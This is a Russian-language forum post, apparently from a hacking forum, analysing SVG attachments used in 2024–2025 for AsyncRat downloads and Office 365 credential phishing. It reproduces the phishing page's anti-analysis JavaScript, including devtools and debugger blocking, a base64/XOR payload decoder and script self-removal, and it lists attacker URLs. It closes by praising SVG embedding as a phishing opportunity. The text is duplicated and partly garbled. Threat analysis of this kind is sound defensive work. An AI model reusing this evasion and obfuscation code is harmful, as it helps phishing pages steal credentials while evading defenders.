stihl не предоставил(а) никакой дополнительной информации.
Сурсы:
SHA-256:
SVG представляет собой XML-формат векторной графики, который традиционно используется для создания масштабируемых изображений - иконок, диаграмм и графиков. Особенность данного формата заключается в возможности внедрения CSS и JavaScript непосредственно в код файла, чем и пользуются злоумышленники.

Рисунок 1. Пример фишингового письма с вложением в формате SVG
В этот период были выявлены два основных типа SVG-вредоносов:

Рисунок 2. Два основных типа SVG-вредоносов: загрузчик и фишинг
1. Тип загрузчика (Downloader):
Этот тип SVG внешне представляет собой уведомление о необходимости загрузки PDF-документа. При детальном анализе внутреннего кода было обнаружено, что в элементах контента изображения содержались скрытые гиперссылки, которые при нажатии загружали вредоносное ПО (AsyncRat).

Рисунок 3. Структура SVG типа "загрузчик"
Злоумышленники преимущественно использовали легитимные файловые хостинги, такие как Dropbox и Bitbucket, для размещения вредоносных файлов. Загружаемый файл представлял собой защищённый паролем архив, пароль к которому предоставлялся в тексте, отображаемом при открытии SVG-файла. Внутри архива находилось ПО семейства AsyncRat.
2. Фишинговый тип:
Этот тип SVG побуждал пользователей ввести учётные данные для якобы получения доступа к документу Excel. Внутри SVG-файла содержался обфусцированный JavaScript-код, который кодировал введённую пользователем информацию в формате Base64 и отправлял её на серверы злоумышленников.

Рисунок 4. Структура SVG фишингового типа
Особенностью фишингового типа было скрытие вредоносного кода внутри элементов изображения, что затрудняло обнаружение.
1. Усложнённая обфускация кода:
Вместо прямого внедрения JavaScript-кода, новые версии вредоносов использовали атрибут

Рисунок 5. Вредоносный скрипт, закодированный в Base64
2. Система редиректов:
Декодированный скрипт содержал обфусцированные URL-адреса редиректоров.

Рисунок 6. Декодированный вредоносный код с редирект-линком
3. Фишинговая страница под видом CAPTCHA:
Конечной целью цепочки редиректов стала страница, имитирующая капчу, но содержащая кучу механизмов анти-дебага.

Рисунок 7. Фишинговая страница, маскирующаяся под Cloudflare CAPTCHA
После прохождения капчи, следует редирект на сторонний домен (в других семплах) либо открытие фишинговой страницы на текущем.
URL редиректа (редиректор):
Конечный URL:
Примечательно, что URL содержит параметр
Дополнительно, после взаимодействия со страницой Cloudflare CAPTCHA, происходит отправка GET-запроса на
Скан живого

Рисунок 8. Фишинговая страница Microsoft Office 365, после прохождения капчи и цепочки редиректов
Код 1. Код блокировки инструментов автоматизации
Этот компонент вредоносного кода предназначен для анализа UserAgent и переменных окружения с целью выявления:
Код 2. Код блокировки ввода специфических комбинаций клавиш
Этот механизм противодействует использованию стандартных комбинаций клавиш, которые применяются для доступа к инструментам разработчика, просмотру исходного кода и другим методам анализа. Блокируются следующие комбинации:
| Клавиша | Функция |
|---------|---------|
| F12 (keycode:123) | Открытие инструментов разработчика |
| Ctrl + U (keycode:85) | Просмотр исходного кода |
| Ctrl + Shift + I (keycode:73) | Открытие инструментов разработчика |
| Ctrl + Shift + C (keycode:67) | Открытие инструментов разработчика + выбор элемента |
| Ctrl + Shift + J (keycode:74) | Открытие инструментов разработчика + выбор консоли |
| Ctrl + Shift + K (keycode:75) | Открытие инструментов разработчика + выбор консоли (Firefox) |
| Ctrl + H (keycode:72) | Открытие истории просмотра |
| Command + Alt + I (keycode:73) | Открытие инструментов разработчика (Mac) |
| Command + Alt + C (keycode:67) | Открытие инструментов разработчика + выбор консоли (Mac) |
| Command + U (keycode:85) | Просмотр исходного кода (Mac) |
Примечательно, что данный механизм адаптирован как для пользователей Windows, так и для пользователей MacOS.
Код 3. Код блокировки правой кнопки мыши
Данный скрипт предотвращает стандартное поведение контекстного меню при нажатии правой кнопки мыши внутри страницы. Это не даёт получить доступ к опциям, которые могли бы позволить исследовать элементы страницы, сохранить её или осуществить другие действия для анализа.
Код 4. Код обнаружения процесса отладки
Особо изощрённым механизмом противодействия анализу является система обнаружения отладки, которая измеряет время выполнения скрипта с использованием функции
Если время выполнения превышает определённый порог, скрипт делает вывод о наличии активного отладчика и перенаправляет пользователя на легитимный сайт, предотвращая дальнейший анализ.
Код 5. Функция для декодирования полезной нагрузки
Этот компонент отвечает за расшифровку полезной нагрузки, которая будет внедрена в веб-страницу. Функция
1. Декодирование base64: Входная строка
2. XOR-операция: Каждый символ декодированной строки подвергается операции XOR с соответствующим символом ключа
3. Формирование результата: Итог операции преобразуется в читаемую строку и возвращается.
Механизм скрывает истинное содержимое полезной нагрузки до момента её выполнения, что усложняет анализ кода без знания ключа.
Код 6. Вызов функции декодирования и внедрение полезной нагрузки
Этот фрагмент выполняет две задачи:
1. Декодирование: Вызывает функцию
2. Внедрение: Использует
Код 7. Код для удаления скрипта из DOM
Этот фрагмент:
1. Идентифицирует себя: Использует
2. Удаляет себя: Удаляет элемент из DOM с помощью
После выполнения задач (декодирования и внедрения) скрипт самоуничтожается.
Тема была бы не полной, если не упомянуть, что в svg-файлы черезили Зарегистрируйся)
можно вполне законно встраивать любой html-код. А сами svg-файлы можно заливать на множество платформ и сервисов как любые изображения наровне с gif и jpg.
И тут открывается невероятный просто для фишинга:
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяДля просмотра ссылки Войди или ЗарегистрируйсяСами по себе xss не интересны, т.к. куки, необходимые для авторизации почти всегда под флагом httpOnly, но ничего не мешает отрисовать свою страницу логина, и собирать пароли. И спамить такие ссылки куда удобнее, бо это доверенные домены.
или Зарегистрируйся или в теме на форуме. Пароль местный.
https://asec.ahnlab.com/en/87078/
https://asec.ahnlab.com/en/84720/
https://news.sophos.com/en-us/2025/02/05/svg-phishing/
- невошедшееSHA-256:
03330172f1b35f2b13482855401ad0b7a3d73a31f34a349c7797d8a4dec296d6
Введение
В период с ноября 2024 года по март 2025 года было зафиксировано значительное увеличение случаев распространения вредоносного ПО в формате SVG (Scalable Vector Graphics).SVG представляет собой XML-формат векторной графики, который традиционно используется для создания масштабируемых изображений - иконок, диаграмм и графиков. Особенность данного формата заключается в возможности внедрения CSS и JavaScript непосредственно в код файла, чем и пользуются злоумышленники.

Рисунок 1. Пример фишингового письма с вложением в формате SVG
Эволюция
Начальный период (ноябрь 2024)
В ноябре 2024 года впервые были идентифицированы случаи массового распространения вредоносного ПО, использующего формат SVG. Вредоносные SVG-файлы распространялись в качестве вложений к фишинговым письмам, при этом в тексте письма содержались инструкции по открытию файла. При стандартном открытии SVG-файл запускается в веб-браузере, что активирует вредоносный код.В этот период были выявлены два основных типа SVG-вредоносов:

Рисунок 2. Два основных типа SVG-вредоносов: загрузчик и фишинг
1. Тип загрузчика (Downloader):
Этот тип SVG внешне представляет собой уведомление о необходимости загрузки PDF-документа. При детальном анализе внутреннего кода было обнаружено, что в элементах контента изображения содержались скрытые гиперссылки, которые при нажатии загружали вредоносное ПО (AsyncRat).

Рисунок 3. Структура SVG типа "загрузчик"
Злоумышленники преимущественно использовали легитимные файловые хостинги, такие как Dropbox и Bitbucket, для размещения вредоносных файлов. Загружаемый файл представлял собой защищённый паролем архив, пароль к которому предоставлялся в тексте, отображаемом при открытии SVG-файла. Внутри архива находилось ПО семейства AsyncRat.
2. Фишинговый тип:
Этот тип SVG побуждал пользователей ввести учётные данные для якобы получения доступа к документу Excel. Внутри SVG-файла содержался обфусцированный JavaScript-код, который кодировал введённую пользователем информацию в формате Base64 и отправлял её на серверы злоумышленников.

Рисунок 4. Структура SVG фишингового типа
Особенностью фишингового типа было скрытие вредоносного кода внутри элементов изображения, что затрудняло обнаружение.
Усовершенствованные версии (март 2025)
К марту 2025 года вредоносное ПО в формате SVG приобрело значительно более сложные механизмы обхода систем защиты и противодействия анализу. Были выявлены следующие усовершенствования:1. Усложнённая обфускация кода:
Вместо прямого внедрения JavaScript-кода, новые версии вредоносов использовали атрибут
src
тега script
с данными, закодированными в Base64. Этот метод, изначально предназначенный для вставки изображений в веб-страницы без дополнительных запросов к серверу, был адаптирован злоумышленниками для обхода сигнатурного детектирования.
Рисунок 5. Вредоносный скрипт, закодированный в Base64
2. Система редиректов:
Декодированный скрипт содержал обфусцированные URL-адреса редиректоров.

Рисунок 6. Декодированный вредоносный код с редирект-линком
3. Фишинговая страница под видом CAPTCHA:
Конечной целью цепочки редиректов стала страница, имитирующая капчу, но содержащая кучу механизмов анти-дебага.

Рисунок 7. Фишинговая страница, маскирующаяся под Cloudflare CAPTCHA
После прохождения капчи, следует редирект на сторонний домен (в других семплах) либо открытие фишинговой страницы на текущем.
Технические особенности вредоносных SVG
Распространённые имена файлов
В ходе анализа было установлено, что SVG-файлы чаще всего распространялись под подобными наименованиями:- Play Voicemail Transcription. (387.KB).svg
- MT103_0296626389_.svg
- DOC217_3052.svg
- ATT78683.svg
- Access Document Remittance_RECEIPT6534114638.svg
Параметры редиректов и URLs
При анализе цепочки взаимодействий были выявлены следующие URL-адреса:URL редиректа (редиректор):
hxxp://oK2Nv4ZWX6.moydow[.]de/aRghs76TyPdTWwfkOLkGoZRvtAKfi7SZIhk9vgovyVtf0Fl6Q86sq9CsNroQKjXHfbTWmJC49a5xoN1LdzgLlvse0zrGoqwJoaxHrElkA3a9Jn5xQbixSnS5KtaP3Hsj8j6usck0gto5qZoL44dKVbO6uQUwpokCD9qIQncUphBywUx8wta38JwOJcHKTKF6mbsxwNXG/MZz8BcXH4eB0RMRSQ5VqnN2doConZCsLAfBulS7bWQG7kNXIU2etgBMMODIaetz92FvV84lE36zALE52Z2qJBiGHbrUhnXd98X0PxQpDjc6nXZSW7GkWk6mHfLYx88VemLE678FkIXkK4ILAxSVW5yiMkWuMVe1sFdBc2lD4HlBqWWOfHT2D0REEiZFeYEMQOaQLaY33/[Email Account]
Конечный URL:
hxxps://[Account Domain].islaxw[.]es/jfWNu1IAW/#[Email Account]
Примечательно, что URL содержит параметр
[Email Account]
, который заменяется на электронный адрес жертвы, что позволяет злоумышленникам отслеживать и подстраиваться под конкретные жертвы.Дополнительно, после взаимодействия со страницой Cloudflare CAPTCHA, происходит отправка GET-запроса на
hxxps://w2cc.pnkptj[.]ru/kella@aok5y
.Скан живого
vchus3.zaisanmobvnj.es/eGErfD/$jzaleski@shb.com
(с кодом): https://urlquery.net/report/2c1be694-bf34-4fae-b22e-6096830e8e5b

Рисунок 8. Фишинговая страница Microsoft Office 365, после прохождения капчи и цепочки редиректов
Анализ кода фишинговой страницы
Механизмы противодействия анализу
Особым технологическим интересом представляют продвинутые механизмы противодействия анализу, интегрированные в фишинговую страницу. Были выявлены следующие технические решения:1. Блокировка инструментов автоматизации
JavaScript:
if (navigator.webdriver || window.callPhantom || window._phantom || navigator.userAgent.includes("Burp")) {
window.location = "about:blank";
}
Этот компонент вредоносного кода предназначен для анализа UserAgent и переменных окружения с целью выявления:
- Веб-драйверов (используемых для автоматизированного тестирования).
- Инструментов автоматизации (таких как PhantomJS).
- Прокси-инструментов и средств перехвата трафика (например, Burp Suite).
2. Блокировка ввода специфических комбинаций клавиш
JavaScript:
document.addEventListener("keydown", function (event) {
function MocYDHwucV(event) {
const hOwyvLKGbc = [
{ keyCode: 123 },
{ ctrl: true, keyCode: 85 },
{ ctrl: true, shift: true, keyCode: 73 },
{ ctrl: true, shift: true, keyCode: 67 },
{ ctrl: true, shift: true, keyCode: 74 },
{ ctrl: true, shift: true, keyCode: 75 },
{ ctrl: true, keyCode: 72 }, // Ctrl + H
{ meta: true, alt: true, keyCode: 73 },
{ meta: true, alt: true, keyCode: 67 },
{ meta: true, keyCode: 85 }
];
return hOwyvLKGbc.some(qQzywYiOGI =>
(!qQzywYiOGI.ctrl || event.ctrlKey) &&
(!qQzywYiOGI.shift || event.shiftKey) &&
(!qQzywYiOGI.meta || event.metaKey) &&
(!qQzywYiOGI.alt || event.altKey) &&
event.keyCode === qQzywYiOGI.keyCode
);
}
if (MocYDHwucV(event)) {
event.preventDefault();
return false;
}
});
Этот механизм противодействует использованию стандартных комбинаций клавиш, которые применяются для доступа к инструментам разработчика, просмотру исходного кода и другим методам анализа. Блокируются следующие комбинации:
| Клавиша | Функция |
|---------|---------|
| F12 (keycode:123) | Открытие инструментов разработчика |
| Ctrl + U (keycode:85) | Просмотр исходного кода |
| Ctrl + Shift + I (keycode:73) | Открытие инструментов разработчика |
| Ctrl + Shift + C (keycode:67) | Открытие инструментов разработчика + выбор элемента |
| Ctrl + Shift + J (keycode:74) | Открытие инструментов разработчика + выбор консоли |
| Ctrl + Shift + K (keycode:75) | Открытие инструментов разработчика + выбор консоли (Firefox) |
| Ctrl + H (keycode:72) | Открытие истории просмотра |
| Command + Alt + I (keycode:73) | Открытие инструментов разработчика (Mac) |
| Command + Alt + C (keycode:67) | Открытие инструментов разработчика + выбор консоли (Mac) |
| Command + U (keycode:85) | Просмотр исходного кода (Mac) |
Примечательно, что данный механизм адаптирован как для пользователей Windows, так и для пользователей MacOS.
3. Блокировка правой кнопки мыши
Код:
document.addEventListener('contextmenu', function(event) {
event.preventDefault();
return false;
});
Данный скрипт предотвращает стандартное поведение контекстного меню при нажатии правой кнопки мыши внутри страницы. Это не даёт получить доступ к опциям, которые могли бы позволить исследовать элементы страницы, сохранить её или осуществить другие действия для анализа.
4. Обнаружение отладки
Код:
(function NiZagrnkbF() {
let mYJIRhWvKC = false;
const fQFDBmEIUe = 100;
setInterval(function() {
const eXxwMSnQEu = performance.now();
debugger;
const NmLHWPJQxa = performance.now();
if (NmLHWPJQxa - eXxwMSnQEu > fQFDBmEIUe && !mYJIRhWvKC) {
XbueTstztD = true;
mYJIRhWvKC = true;
window.location.replace('https://www.etsy.com');
}
}, 100);
})();
Особо изощрённым механизмом противодействия анализу является система обнаружения отладки, которая измеряет время выполнения скрипта с использованием функции
performance.now()
. Принцип работы основан на том, что при активной отладке время выполнения кода значительно увеличивается из-за дополнительных операций, выполняемых отладчиком.Если время выполнения превышает определённый порог, скрипт делает вывод о наличии активного отладчика и перенаправляет пользователя на легитимный сайт, предотвращая дальнейший анализ.
Другие компоненты кода
5. Декодирование полезной нагрузки
JavaScript:
function kBNCNVowXP(mMbhoWHQEo, ybMIijzNPc) {
let KFlaCSmBmB = '';
mMbhoWHQEo = atob(mMbhoWHQEo);
let ydMmJjvPRF = ybMIijzNPc.length;
for (let i = 0; i < mMbhoWHQEo.length; i++) {
KFlaCSmBmB += String.fromCharCode(mMbhoWHQEo.charCodeAt(i) ^ ybMIijzNPc.charCodeAt(i % ydMmJjvPRF));
}
return KFlaCSmBmB;
}
Этот компонент отвечает за расшифровку полезной нагрузки, которая будет внедрена в веб-страницу. Функция
kBNCNVowXP
принимает два параметра:mMbhoWHQEo
: строка, закодированная в base64, содержащая зашифрованные данные.ybMIijzNPc
: ключ, используемый для декодирования.
1. Декодирование base64: Входная строка
mMbhoWHQEo
преобразуется из base64 в двоичный формат с помощью atob()
.2. XOR-операция: Каждый символ декодированной строки подвергается операции XOR с соответствующим символом ключа
ybMIijzNPc
. Ключ повторяется циклически, чтобы соответствовать длине строки.3. Формирование результата: Итог операции преобразуется в читаемую строку и возвращается.
Механизм скрывает истинное содержимое полезной нагрузки до момента её выполнения, что усложняет анализ кода без знания ключа.
6. Внедрение полезной нагрузки в страницу
JavaScript:
var MwnNQihyLC = kBNCNVowXP(`UhgqeQJj...длинная строка...`, `n9n6A7jQQC`);
document.write(MwnNQihyLC);
Этот фрагмент выполняет две задачи:
1. Декодирование: Вызывает функцию
kBNCNVowXP
с зашифрованной строкой и ключом, сохраняя результат в переменной MwnNQihyLC
.2. Внедрение: Использует
document.write()
для записи декодированного содержимого в HTML.7. Самоуничтожение скрипта
JavaScript:
var DnKKzRShdc = document.currentScript;
DnKKzRShdc.parentNode.removeChild(DnKKzRShdc);
Этот фрагмент:
1. Идентифицирует себя: Использует
document.currentScript
для получения ссылки на текущий <script>
-элемент.2. Удаляет себя: Удаляет элемент из DOM с помощью
parentNode.removeChild()
.После выполнения задач (декодирования и внедрения) скрипт самоуничтожается.
Тема была бы не полной, если не упомянуть, что в svg-файлы через
foreignObject
(Для просмотра ссылки Войди можно вполне законно встраивать любой html-код. А сами svg-файлы можно заливать на множество платформ и сервисов как любые изображения наровне с gif и jpg.
И тут открывается невероятный просто для фишинга:
Для просмотра ссылки Войди